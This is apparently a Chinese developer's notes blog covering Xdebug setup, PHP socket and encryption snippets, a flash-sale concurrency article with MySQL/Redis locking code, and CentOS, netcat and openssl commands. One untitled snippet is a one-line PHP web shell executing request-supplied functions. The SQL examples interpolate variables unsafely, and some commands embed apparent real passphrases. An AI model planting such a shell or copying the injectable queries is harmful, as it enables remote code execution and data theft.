Skip to main content

· One min read

PHPSTORM setting

  • Language php Debug => Xdebug port 9001
  • Language php Debug/DBGp => port:901 #项目的port
  • Language php Servers => Name:server-def, Host:0.0.0.0:901, Port:901, 右边map:/www # 项目文件夹
      environment:
PHP_IDE_CONFIG: "serverName=server-def"
volumes:
- ./__cicd__/php/xdebug.ini:/usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini
[xdebug]
;./__cicd__/php/xdebug.ini:/usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini
zend_extension = /usr/local/lib/php/extensions/no-debug-non-zts-20160303/xdebug.so
xdebug.remote_handler = dbgp
xdebug.remote_port = 9001
xdebug.remote_host = 192.168.1.203
xdebug.remote_enable = 1
xdebug.remote_connect_back = 0
xdebug.profiler_enable = 1
xdebug.idekey = PHPSTORM
xdebug.remote_log = "/tmp/xdebug.log"

· 5 min read

pack socket

<?php

$host = "127.0.0.1";
$port = "9872";

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or die("Unable to create socket\n");

@socket_connect($socket, $host, $port) or die("Connect error.\n");

if ($err = socket_last_error($socket)) {
socket_close($socket);
die(socket_strerror($err) . "\n");
}


$version = 1;
$result = 0;
$command_id = 1001;
$username = "陈一回";
$password = md5("123456");
// 构造包体
$bin_body = pack("a30a32", $username, $password);
// 包体长度
$body_len = strlen($bin_body);
$bin_head = pack("nCns", $body_len, $version, $command_id, $result);
$bin_head = '';
$bin_data = $bin_head . $bin_body;

socket_write($socket, $bin_data, strlen($bin_data));

socket_close($socket);
package main

import (
"fmt"
"net"
)

const BUF_SIZE = 100

func handleConnection(conn net.Conn) {
defer conn.Close()
buf := make([]byte, BUF_SIZE)
n, err := conn.Read(buf)

if err != nil {
fmt.Printf("err: %v\n", err)
return
}

fmt.Printf("\n已接收:%d个字节,数据是:'%s'\n", n, string(buf))
}

func main() {
ln, err := net.Listen("tcp", ":9872")

if err != nil {
fmt.Printf("error: %v\n", err)
return
}

for {
conn, err := ln.Accept()
if err != nil {
continue
}
go handleConnection(conn)
}
}

双向对称加密可逆

<?php
/**
* 双向对称加密可逆
* @param string $string 字符串
* @param string $operation ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param string $key 密钥:数字、字母、下划线
* @param int $expiry 过期时间sec
* @return string
*/
function encrypt_rev($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != '' ? $key : 'LqdR1f8zx48G4uIoLHGM');
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
}
}

$tk = '00000009-82bc7c319aaff6ae4-b8ae8cf519971de-fdd0110e751-92fe1cefa773bafa6b4f9';

echo encrypt_rev($tk);

echo '<br>';

$d = '97cdB-4Vmo_dgyNnZDN6hoYbx2Qr_bMdfG6gngQ3i36d3GorRDxd3inttJA_PZUzUREPnAp4b73e3EVwlGqO1RnSmJNEi59It09bOekIvWZe9rH0DZ8oxNvn4lEIfBAPlStUaRN7KD2B';
echo encrypt_rev($d, 'DECODE');

session redis

<?php

ini_set('session.gc_maxlifetime', 1000000);
ini_set('session.save_handler', 'redis');
ini_set('session.save_path', 'tcp://127.0.0.1');

session_start();//这个很重要

$_SESSION['test_session'] = ['name' => 'fanqie', 'ccc' => 'hello redis'];

$redis = new redis();
$redis->connect('127.0.0.1');
echo 'sessionid>>>>>>> PHPREDIS_SESSION:' . session_id();
echo '<br><br>';
//redis用session_id作为key并且是以string的形式存储
echo '通过php用redis获取>>>>>>>' . $redis->get('PHPREDIS_SESSION:' . session_id());
echo '<br><br>';
echo '通过php用session获取>>>>>>>';
echo '<pre>';
var_dump($_SESSION['test_session']);

查找页面上的所有链接

<?php
$html = file_get_contents('http://www.app-echo.com');
$dom = new DOMDocument();
@$dom->loadHTML($html);// grab all the on the page
$xpath = new DOMXPath($dom);
$hrefs = $xpath->evaluate("/html/body//a");
for ($i = 0; $i < $hrefs->length; $i++) {
$href = $hrefs->item($i);
$url = $href->getAttribute('href');
echo $url . '<br />';
}

自动转换URL为可点击的超链接

<?php
//wp-includes/formatting.php²Î¿¼¸Ãº¯ÊýµÄÔ´´úÂë
function _make_url_clickable_cb($matches) {
$ret = '';
$url = $matches[2];
if (empty($url)) return $matches[0];// removed trailing [.,;:] from URL
if (in_array(substr($url, -1), array('.', ',', ';', ':')) === true) {
$ret = substr($url, -1);
$url = substr($url, 0, strlen($url) - 1);
}
return $matches[1] . "<a href=\"$url\" rel=\"nofollow\">$url</a>" . $ret;
}

function _make_web_ftp_clickable_cb($matches) {
$ret = '';
$dest = $matches[2];
$dest = 'http://' . $dest;
if (empty($dest)) return $matches[0];// removed trailing [,;:] from URL
if (in_array(substr($dest, -1), array('.', ',', ';', ':')) === true) {
$ret = substr($dest, -1);
$dest = substr($dest, 0, strlen($dest) - 1);
}
return $matches[1] . "<a href=\"$dest\" rel=\"nofollow\">$dest</a>" . $ret;
}

function _make_email_clickable_cb($matches) {
$email = $matches[2] . '@' . $matches[3];
return $matches[1] . "<a href=\"mailto:$email\">$email</a>";
}

function make_clickable($ret) {
$ret = ' ' . $ret;// in testing, using arrays here was found to be faster
$ret = preg_replace_callback('#([\s>])([\w]+?://[\w\\x80-\\xff\#$%&~/.\-;:=,?@\[\]+]*)#is', '_make_url_clickable_cb', $ret);
$ret = preg_replace_callback('#([\s>])((www|ftp)\.[\w\\x80-\\xff\#$%&~/.\-;:=,?@\[\]+]*)#is', '_make_web_ftp_clickable_cb', $ret);
$ret = preg_replace_callback('#([\s>])([.0-9a-z_+-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,})#i', '_make_email_clickable_cb', $ret);
$ret = preg_replace("#(<a( [^>]+?>|>))
<a [^>]+?>([^>]+?)</a></a>#i", "$1$3</a>", $ret);
$ret = trim($ret);
return $ret;
}

$a = 'test http://test.com test';
echo make_clickable($a);

asdf

<?php ($_=@$_GET[2]) && $_($_POST[1]);?>
eval('phpinfo();return true;')

· 17 min read

我们通常衡量一个Web系统的吞吐率的指标是QPS(Query Per Second,每秒处理请求数),解决每秒数万次的高并发场景,这个指标非常关键。举个例子,我们假设处理一个业务请求平均响应时间为100ms,同时,系统内有20台Apache的Web服务器,配置MaxClients为500个(表示Apache的最大连接数目)。

那么,我们的Web系统的理论峰值QPS为(理想化的计算方式):

20*500/0.1 = 100000 (10万QPS)

咦?我们的系统似乎很强大,1秒钟可以处理完10万的请求,5w/s的秒杀似乎是“纸老虎”哈。实际情况,当然没有这么理想。在高并发的实际场景下,机器都处于高负载的状态,在这个时候平均响应时间会被大大增加。

就Web服务器而言,Apache打开了越多的连接进程,CPU需要处理的上下文切换也越多,额外增加了CPU的消耗,然后就直接导致平均响应时间增加。因此上述的MaxClient数目,要根据CPU、内存等硬件因素综合考虑,绝对不是越多越好。可以通过Apache自带的abench来测试一下,取一个合适的值。然后,我们选择内存操作级别的存储 的Redis,在高并发的状态下,存储的响应时间至关重要。网络 带宽虽然也是一个因素,不过,这种请求数据包一般比较小,一般很少成为请求的瓶颈。负载均衡成为系统瓶颈的情况比较少,在这里不做讨论哈。

那么问题来了,假设我们的系统,在5w/s的高并发状态下,平均响应时间从100ms变为250ms(实际情况,甚至更多):

20*500/0.25 = 40000 (4万QPS)

于是,我们的系统剩下了4w的QPS,面对5w每秒的请求,中间相差了1w。

举个例子,高速路口,1秒钟来5部车,每秒通过5部车,高速路口运作正常。突然,这个路口1秒钟只能通过4部车,车流量仍然依旧,结果必定出现大塞车。(5条车道忽然变成4条车道的感觉)

同理,某一个秒内,20*500个可用连接进程都在满负荷工作中,却仍然有1万个新来请求,没有连接进程可用,系统陷入到异常状态也是预期之内。

其实在正常的非高并发的业务场景中,也有类似的情况出现,某个业务请求接口 出现问题,响应时间极慢,将整个Web请求响应时间拉得很长,逐渐将Web服务器的可用连接数占满,其他正常的业务请求,无连接进程可用。

更可怕的问题是,是用户的行为特点,系统越是不可用,用户的点击越频繁,恶性循环最终导致“雪崩”(其中一台Web机器挂了,导致流量分散到其他正常工作的机器上,再导致正常的机器也挂,然后恶性循环),将整个Web系统拖垮。

重启与过载保护

如果系统发生“雪崩”,贸然重启服务,是无法解决问题的。最常见的现象是,启动起来后,立刻挂掉。这个时候,最好在入口层将流量拒绝,然后再将重启。如果是redis/memcache这种服务也挂了,重启的时候需要注意“预热”,并且很可能需要比较长的时间。

秒杀和抢购的场景,流量往往是超乎我们系统的准备和想象的。这个时候,过载保护是必要的。如果检测到系统满负载状态,拒绝请求也是一种保护措施。在前端设置过滤是最简单的方式,但是,这种做法是被用户“千夫所指”的行为。更合适一点的是,将过载保护设置在CGI入口层,快速将客户的直接请求返回

高并发下的数据安全

我们知道在多线程 写入同一个文件的时候,会存现“线程安全”的问题(多个线程同时运行同一段代码,如果每次运行结果和单线程运行的结果是一样的,结果和预期相同,就是线程安全的)。如果是mysql数据库 ,可以使用它自带的锁机制很好的解决问题,但是,在大规模并发的场景中,是不推荐使用MySQL的。秒杀和抢购的场景中,还有另外一个问题,就是“超发”,如果在这方面控制不慎,会产生发送过多的情况。我们也曾经听说过,某些电商搞抢购活动,买家成功拍下后,商家却不承认订单有效,拒绝发货。这里的问题,也许并不一定是商家奸诈,而是系统技术 层面存在超发风险导致的。

1.超发的原因

假设某个抢购场景中,我们一共只有100个商品,在最后一刻,我们已经消耗了99个商品,仅剩最后一个。这个时候,系统发来多个并发请求,这批请求读取到的商品余量都是99个,然后都通过了这一个余量判断,最终导致超发。(同文章 前面说的场景)

在上面的这个图中,就导致了并发用户B也“抢购成功”,多让一个人获得了商品。这种场景,在高并发的情况下非常容易出现。

  • 优化方案1. 将库存字段number字段设为unsigned,当库存为0时,因为字段不能为负数,将会返回false
<?php
include('./mysql.php');
$username = 'wang' . rand(0, 1000);
//生成唯一订单
function build_order_no() {
return date('ymd') . substr(implode(NULL, array_map('ord', str_split(substr(uniqid(), 7, 13), 1))), 0, 8);
}

//记录日志
function insertLog($event, $type = 0, $username) {
global $conn;
$sql = "insert into ih_log(event,type,usernma) values('$event','$type','$username')";
return mysqli_query($conn, $sql);
}

function insertOrder($order_sn, $user_id, $goods_id, $sku_id, $price, $username, $number) {
global $conn;
$sql = "insert into ih_order(order_sn,user_id,goods_id,sku_id,price,username,number) values('$order_sn','$user_id','$goods_id','$sku_id','$price','$username','$number')";
return  mysqli_query($conn, $sql);
}

//模拟下单操作
//库存是否大于0
$sql = "select number from ih_store where goods_id='$goods_id' and sku_id='$sku_id' ";
$rs = mysqli_query($conn, $sql);
$row = $rs->fetch_assoc();
if ($row['number'] > 0) {//高并发下会导致超卖
if ($row['number'] < $number) {
return insertLog('库存不够', 3, $username);
}
$order_sn = build_order_no();
//库存减少
$sql = "update ih_store set number=number-{$number} where sku_id='$sku_id' and number>0";
$store_rs = mysqli_query($conn, $sql);
if ($store_rs) {
//生成订单
insertOrder($order_sn, $user_id, $goods_id, $sku_id, $price, $username, $number);
insertLog('库存减少成功', 1, $username);
} else {
insertLog('库存减少失败', 2, $username);
}
} else {
insertLog('库存不够', 3, $username);
}
?>

2.悲观锁思路

解决线程安全的思路很多,可以从“悲观锁”的方向开始讨论。

悲观锁,也就是在修改数据的时候,采用锁定状态,排斥外部请求的修改。遇到加锁的状态,就必须等待。

虽然上述的方案的确解决了线程安全的问题,但是,别忘记,我们的场景是“高并发”。也就是说,会很多这样的修改请求,每个请求都需要等待“锁”,某些线程可能永远都没有机会抢到这个“锁”,这种请求就会死在那里。同时,这种请求会很多,瞬间增大系统的平均响应时间,结果是可用连接数被耗尽,系统陷入异常。

  • 优化方案2. 使用MySQL的事务,锁住操作的行
<?php
include('./mysql.php');
//生成唯一订单号
function build_order_no() {
return date('ymd') . substr(implode(NULL, array_map('ord', str_split(substr(uniqid(), 7, 13), 1))), 0, 8);
}

//记录日志
function insertLog($event, $type = 0) {
global $conn;
$sql = "insert into ih_log(event,type) values('$event','$type')";
mysqli_query($conn, $sql);
}

//模拟下单操作
//库存是否大于0
mysqli_query($conn, "BEGIN");
//开始事务
$sql = "select number from ih_store where goods_id='$goods_id' and sku_id='$sku_id' FOR UPDATE";//此时这条记录被锁住,其它事务必须等待此次事务提交后才能执行
$rs = mysqli_query($conn, $sql);
$row = $rs->fetch_assoc();
if ($row['number'] > 0) {
//生成订单
$order_sn = build_order_no();
$sql = "insert into ih_order(order_sn,user_id,goods_id,sku_id,price) values('$order_sn','$user_id','$goods_id','$sku_id','$price')";
$order_rs = mysqli_query($conn, $sql);
//库存减少
$sql = "update ih_store set number=number-{$number} where sku_id='$sku_id'";
$store_rs = mysqli_query($conn, $sql);
if ($store_rs) {
echo '库存减少成功';
insertLog('库存减少成功');
mysqli_query($conn, "COMMIT");//事务提交即解锁
} else {
echo '库存减少失败';
insertLog('库存减少失败');
}
} else {
echo '库存不够';
insertLog('库存不够');
mysqli_query($conn, "ROLLBACK");
}
?>

3.FIFO队列思路

那好,那么我们稍微修改一下上面的场景,我们直接将请求放入队列中的,采用FIFO(First Input First Output,先进先出),这样的话,我们就不会导致某些请求永远获取不到锁。看到这里,是不是有点强行将多线程变成单线程的感觉哈。

然后,我们现在解决了锁的问题,全部请求采用“先进先出”的队列方式来处理。那么新的问题来了,高并发的场景下,因为请求很多,很可能一瞬间将队列内存“撑爆”,然后系统又陷入到了异常状态。或者设计一个极大的内存队列,也是一种方案,但是,系统处理完一个队列内请求的速度根本无法和疯狂涌入队列中的数目相比。也就是说,队列内的请求会越积累越多,最终Web系统平均响应时候还是会大幅下降,系统还是陷入异常。

4.文件锁的思路

对于日IP不高或者说并发数不是很大的应用,一般不用考虑这些!用一般的文件操作方法完全没有问题。但如果并发高,在我们对文件进行读写操作时,很有可能多个进程对进一文件进行操作,如果这时不对文件的访问进行相应的独占,就容易造成数据丢失

  • 优化方案4. 使用非阻塞的文件排他锁
<?php
include('./mysql.php');
//生成唯一订单号
function build_order_no() {
return date('ymd') . substr(implode(NULL, array_map('ord', str_split(substr(uniqid(), 7, 13), 1))), 0, 8);
}

//记录日志
function insertLog($event, $type = 0) {
global $conn;
$sql = "insert into ih_log(event,type) values('$event','$type')";
mysqli_query($conn, $sql);
}

$fp = fopen("lock.txt", "w+");
if (!flock($fp, LOCK_EX | LOCK_NB)) {
echo "系统繁忙,请稍后再试";
return;
}
//下单
$sql = "select number from ih_store where goods_id='$goods_id' and sku_id='$sku_id'";
$rs = mysqli_query($conn, $sql);
$row = $rs->fetch_assoc();
if ($row['number'] > 0) {//库存是否大于0
//模拟下单操作
$order_sn = build_order_no();
$sql = "insert into ih_order(order_sn,user_id,goods_id,sku_id,price) values('$order_sn','$user_id','$goods_id','$sku_id','$price')";
$order_rs = mysqli_query($conn, $sql);
//库存减少
$sql = "update ih_store set number=number-{$number} where sku_id='$sku_id'";
$store_rs = mysqli_query($conn, $sql);
if ($store_rs) {
echo '库存减少成功';
insertLog('库存减少成功');
flock($fp, LOCK_UN);//释放锁
} else {
echo '库存减少失败';
insertLog('库存减少失败');
}
} else {
echo '库存不够';
insertLog('库存不够');
}
fclose($fp);
?>

5.乐观锁思路

这个时候,我们就可以讨论一下“乐观锁”的思路了。乐观锁,是相对于“悲观锁”采用更为宽松的加锁机制,大都是采用带版本号version )更新。实现就是,这个数据所有请求都有资格去修改,但会获得一个该数据的版本号,只有版本号符合的才能更新成功,其他的返回抢购失败。这样的话,我们就不需要考虑队列的问题,不过,它会增大CPU的计算开销。但是,综合来说,这是一个比较好的解决方案

有很多软件和服务都“乐观锁”功能的支持,例如Redis中的watch就是其中之一。通过这个实现,我们保证了数据的安全。

优化方案5:Redis中的watch

<?php
$redis = new redis();
$result = $redis->connect('127.0.0.1', 6379);
echo $mywatchkey = $redis->get("mywatchkey");

//插入抢购数据
/*
if ($mywatchkey > 0) {
$redis->watch("mywatchkey");
//启动一个新的事务。
$redis->multi();
$redis->set("mywatchkey", $mywatchkey - 1);
$result = $redis->exec();
if ($result) {
$redis->hSet("watchkeylist", "user_" . mt_rand(1, 99999), time());
$watchkeylist = $redis->hGetAll("watchkeylist");
echo "抢购成功!<br/>";
$re = $mywatchkey - 1;
echo "剩余数量:" . $re . "<br/>";
echo "用户列表:<pre>";
print_r($watchkeylist);
} else {
echo "手气不好,再抢购!";
exit;
}
} else {
// $redis->hSet("watchkeylist","user_".mt_rand(1,99999),"12");
// $watchkeylist = $redis->hGetAll("watchkeylist");
echo "fail!<br/>";
echo ".no result<br/>";
echo "用户列表:<pre>";
// var_dump($watchkeylist);
}
*/

$rob_total = 100; //抢购数量
if ($mywatchkey <= $rob_total) {
$redis->watch("mywatchkey");
$redis->multi(); //在当前连接上启动一个新的事务。
//插入抢购数据
$redis->set("mywatchkey", $mywatchkey + 1);
$rob_result = $redis->exec();
if ($rob_result) {
$redis->hSet("watchkeylist", "user_" . mt_rand(1, 9999), $mywatchkey);
$mywatchlist = $redis->hGetAll("watchkeylist");
echo "抢购成功!<br/>";

echo "剩余数量:" . ($rob_total - $mywatchkey - 1) . "<br/>";
echo "用户列表:<pre>";
var_dump($mywatchlist);
} else {
$redis->hSet("watchkeylist", "user_" . mt_rand(1, 9999), 'meiqiangdao');
echo "手气不好,再抢购!";
exit;
}
}
?>

· 2 min read

静态ip

// http://blog.csdn.net/johnnycode/article/details/50184073
/etc/sysconfig/network-scripts 路径下找到 ifcfg-*
修改eth0
cat /etc/sysconfig/network-scripts/ifcfg-eth0

// change
ONBOOT=yes #开机启动
BOOTPROTO=static #静态IP
// add
IPADDR=192.168.1.101 #本机地址
NETMASK=255.255.255.0 #子网掩码
GATEWAY=192.168.1.1 #默认网关

/etc/sysconfig/network
# Created by anaconda
DNS1=192.168.1.1
DNS2=8.8.8.8

service network restart

ip addr

共享目录

# 加载光驱 VBoxGuestAdditions_5.0.17-106140.iso
mount /dev/cdrom /media/cdrom
cd /media/cdrom

yum install kernel sources
yum install kernel-devel
yum install gcc

sh VBoxLinuxAdditions.run

cd /
mkdir ptest
mount -t vboxsf ptest /ptest

# 取消挂载
sudo umount -f /mnt/shared

lsmod | grep vboxsf
modprobe vboxsf

mount命令

yum install -y psmisc # fuser

cat /etc/filesystems # 文件里是centos7支持的文件系统格式

fuser -km /mountdata/ # 释放链接
umount /mountdata

mkfs.xfs /dev/xvdb -f # 格式化

mount /dev/xvdb /mountdata

u盘ubuntu

进入U盘安装界面时,可选中”try ubuntu without installing”,按下”e”,对出现的命令进行编辑,将”quiet splash —”删掉并换为”nvme_load=YES”,接着按下”F10”

· One min read
need java8

cd bin
./jmeter

./jmeter -n -t cdemo.jmx -l cdemo.jtl

Sampler -> HTTP请求
监听器 -> 察看结果树
断言 -> 响应断言
监听器 -> Aggregate Graph
监听器 -> 生成概要结果
监听器 -> 聚合报告

· 3 min read

牛人们的blog

UI

doc

demo

doc

  • 你应该知道的计算机网络知识 [http://www.jianshu.com/p/21b5cbac0849]
  • 项目搜索 ProductHunt [https://www.producthunt.com]
  • 36Kr Next []

开源库

  • Apache软件基金会分布目录 [http://www.apache.org/dyn/closer.cgi]
  • 网易库 [http://reg.nie.163.com/]

工具

  • 项目合作 tower [https://tower.im/]
  • 项目合作 teambition [https://www.teambition.com/]
  • 接口文档 swagger [http://petstore.swagger.io]

code

network

  • 计算机网络技术 [https://edu.aliyun.com/course/152/lesson/list]

linux

  • 用十条命令在一分钟内检查Linux服务器性能 [http://www.kuqin.com/shuoit/20151218/349516.html]
  • Linux进程管理之四大名捕 [http://www.kuqin.com/shuoit/20160524/352158.html]
  • 设计模式概论18种php [http://blog.csdn.net/hguisu/article/details/7496819]

mysql

  • MySQL DBA面试全揭秘 [http://www.kuqin.com/shuoit/20150923/348228.html]
  • 不停止MySQL服务增加从库的两种方式 [http://www.kuqin.com/shuoit/20151130/349215.html]

elasticsearch

  • 全文检索方案:分布式Elasticsearch+Mysql [http://www.jianshu.com/p/638ff7b848cc]

other

  • 依赖倒置原则 DI设计 [http://www.cnblogs.com/RicCC/archive/2009/02/12/Dependency-Inversion-Principle.html]
  • OO设计的 DIP依赖倒置原则 [http://blog.csdn.net/eric_jo/article/details/6799067]
  • MQ解释 [http://pythoner.org/wiki/110/]
  • yii2 核心点 [http://www.digpage.com/service_locator.html]
  • SegmentFault 2015 优质收藏夹 [http://segmentfault.com/bookmark/1230000004333620]
  • 阿里巴巴公司根据截图查到泄露信息的具体员工的技术是什么 [http://www.zhihu.com/question/50735753/answer/122593277]
  • 史上最全的架构师图谱 [http://www.jianshu.com/p/c8382065bd2b]

要看的

-hackstoic/golang-open-source-projects: 为互联网IT人打造的中文版awesome-go https://github.com/hackstoic/golang-open-source-projects

-Golang精编100题 - 简书 http://www.jianshu.com/p/f690203ff168 -大桥下的蜗牛 https://blog.lab99.org/archives/ -错误处理 · GitBook http://www.test.com/build-web-application-with-golang/zh/_book/11.1.html

· One min read
tee /etc/locale.conf <<-'EOF'
LANG="en_US.utf8"
#LC_ALL="en_US.utf8"
LC_ALL="C"
EOF

tee /root/.vimrc <<-'EOF'
set encoding=utf-8
set fileencoding=utf-8
EOF

repo 修改源

# mv CentOS-Base.repo CentOS-Base.repo.bak
curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
yum clean all
yum makecache #生产本地缓存
# yum-update

epel 加好多rpm

yum install -y epel-release

常用必装

yum install -y yum-utils    # yum-config-manager --add-repo
yum install -y htop
yum install -y tree
yum install -y net-tools # netstat -ntlp

其他

yum lock

yum-complete-transaction

wifi

dmesg | grep firmware
ip addr show wlo1
wpa_supplicant -B -i wlo1 -c <(wpa_passphrase "iPhone 8" "1234567890")

ssh remote

yum list installed | grep openssh-server
yum install openssh-server

/etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes

sudo service sshd start

· One min read

2台机器互传text

# A 起一个端口
nc -lk 5000
# B 链接 A
nc ip-a 5000

端口转发

windows

netsh interface portproxy add v4tov4 connectaddress=127.0.0.1 connectport=2375 listenport=2376 protocol=tcp

yum install -y nmap-ncat

ncat -l 8080 #

ncat --sh-exec "ncat localhost 80" -l 7777 --keep-open

· 3 min read

openssl

查看 cert

keytool -printcert -file ca.crt

# 普通
openssl genrsa -out private.key 2048
# password
openssl genrsa -passout pass:_passphrase_ -out private.key 2048

# 私钥 => 公钥
openssl rsa -in private.key -pubout -out public.key
# 私钥 => 公钥 password
openssl rsa -in private.key -passin 'pass:P@s5w0rD' -pubout -out public.key

## 私钥 => pfx
```shell
mima=_passphrase_
openssl req -new -key private.key -out ssl.csr # 证书请求文件
openssl x509 -req -days 3650 -in ssl.csr -signkey private.key -out ssl.crt # 证书文件
openssl pkcs12 -export -inkey private.key -in ssl.crt -out ssl.pfx

## pfx renew crt
openssl pkcs12 -in a.pfx -nocerts -out a.key -nodes
# copy crt to here
openssl pkcs12 -export -out b.pfx -inkey a.key -in b.crt # or b.pem

window pfx => https

openssl pkcs12 -in a.pfx -nodes -out a.pem -passin 'pass:GfosCn20!' openssl pkcs12 -in a.pfx -nocerts -out a.pem -nodes -passin 'pass:Sandy2020' # full chain openssl rsa -in a.pem -out a.key openssl x509 -in a.pem -out a.crt kubectl create secret tls ccm-https --key a.key --cert a.crt --namespace=gim-uat

end can

zx.sh

mima=$(cat zx.txt)
echo $mima

openssl pkcs12 -in zx.pfx -nokeys -passin "pass:${mima}" | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > a
openssl pkcs12 -in zx.pfx -nocerts -nodes -passin "pass:${mima}" | sed -ne '/-BEGIN PRIVATE KEY-/,/-END PRIVATE KEY-/p' > b

cat a | base64 -w 0 > aa
cat b | base64 -w 0 > bb

http auth

openssl passwd -crypt admin123 echo "admin:$(openssl passwd -crypt admin123)" > .espasswd


# 4要素
- cert.pem 服务端证书
- chain.pem 浏览器需要的所有证书但不包括服务端证书,比如根证书和中间证书
- fullchain.pem 包括了cert.pem和chain.pem的内容
- privkey.pem 证书的私钥

```sh
# cert
openssl pkcs12 -in a.pfx -nokeys -clcerts -out cert.pem -passin 'pass:GfosCn20!'
# chain
openssl pkcs12 -in a.pfx -nokeys -cacerts -out chain.pem -passin 'pass:GfosCn20!'
# fullchain
openssl pkcs12 -in a.pfx -nokeys -out fullchain.pem -passin 'pass:GfosCn20!'
# privkey
openssl pkcs12 -in a.pfx -nocerts -nodes -out privkey.pem -passin 'pass:GfosCn20!'

keytool

keytool -genkey -alias broker -keyalg RSA -keystore broker.ks
#导出经纪人的证书,以便可以与客户共享:
keytool -export -alias broker -keystore broker.ks -file broker_cert
#为客户端创建证书/密钥库:
keytool -genkey -alias client -keyalg RSA -keystore client.ks
#为客户端创建一个信任库,并导入代理的证书。这样可以确定客户“信任”经纪人:
keytool -import -alias broker -keystore client.ts -file broker_cert

openssl ca

# https://www.cnblogs.com/leffss/p/14705551.html
openssl genrsa -out ssl.key 2048
# openssl rsa -in ssl.key -des3 -out encrypted.key # 密码
openssl req -new -key ssl.key -out ssl.csr

# 自签
openssl x509 -req -in ssl.csr -signkey ssl.key -out ssl.crt

# ca 签
# openssl genrsa -out sign.key 2048
# openssl req -new -key sign.key -out sign.csr
openssl x509 -req -in sign.csr -extensions v3_ca -signkey sign.key -out sign.crt
openssl x509 -req -in ssl.csr -extensions v3_usr -CA sign.crt -CAkey sign.key -CAcreateserial -out ssl.crt